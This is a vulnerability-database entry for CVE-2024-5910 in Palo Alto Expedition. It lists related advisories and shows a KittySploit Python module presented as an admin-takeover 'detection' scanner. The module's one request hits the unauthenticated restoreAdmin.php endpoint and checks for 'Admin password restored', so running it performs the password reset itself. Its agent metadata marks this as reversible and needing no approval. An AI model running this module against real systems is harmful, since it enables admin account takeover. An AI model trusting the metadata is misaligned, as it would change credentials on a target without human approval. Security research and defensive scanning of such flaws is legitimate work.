Palo Alto Expedition - Admin Account Takeover Detection
| Reporter | Title | Published | Views | Family All 33 |
|---|---|---|---|---|
| Palo Alto Expedition 1.2.91 Remote Code Execution Exploit | 14 Nov 202400:00 | – | zdt | |
| CVE-2024-5910 | 10 Jul 202400:00 | – | attackerkb | |
| Palo Alto Networks Expedition Configuration Migration Authentication Bypass | 21 Aug 202400:00 | – | bdu_fstec | |
| CVE-2024-5910 | 10 Jul 202421:49 | – | circl | |
| Palo Alto Networks Expedition Missing Authentication Vulnerability | 7 Nov 202400:00 | – | cisa_kev | |
| CISA Adds Four Known Exploited Vulnerabilities to Catalog | 7 Nov 202412:00 | – | cisa | |
| Palo Alto Networks Expedition Security Breach | 10 Jul 202400:00 | – | cnnvd | |
| CVE-2024-5910 | 10 Jul 202418:39 | – | cve | |
| CVE-2024-5910 Expedition: Missing Authentication Leads to Admin Account Takeover | 10 Jul 202418:39 | – | cvelist | |
| Exploit for OS Command Injection in Paloaltonetworks Expedition | 9 Oct 202416:36 | – | githubexploit |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Missing authentication for a critical function in Palo Alto Networks Expedition can lead to an Expedition admi."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Palo Alto Expedition - Admin Account Takeover Detection',
'description': 'Missing authentication for a critical function in Palo Alto Networks Expedition can lead to an Expedition admin account takeover for attackers with network access to Expedition.',
'author': ['KittySploit Team'],
'severity': 'critical',
'tags': ['web', 'scanner', 'cve', 'cve2024', 'palo-alto', 'auth-bypass', 'kev', 'vkev', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
},
},
'references': [
'https://www.horizon3.ai/attack-research/palo-alto-expedition-from-n-day-to-full-compromise',
'https://security.paloaltonetworks.com/CVE-2024-5910',
'https://nvd.nist.gov/vuln/detail/CVE-2024-5910',
],
'cve': 'CVE-2024-5910',
}
def run(self):
r = self.http_request(method="GET", path='/OS/startup/restore/restoreAdmin.php', allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
body_all = ('Admin user found', 'Admin password restored',)
if (all(m in body for m in body_all)):
self.set_info(
severity='critical',
reason="Palo Alto Expedition - Admin Account Takeover detected",
path='/OS/startup/restore/restoreAdmin.php',
)
return True
return False
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28 Jul 2026 11:27Current
8.9High risk
Vulners AI Score8.9
CVSS 3.19.8
CVSS 49.3
EPSS0.91684
SSVC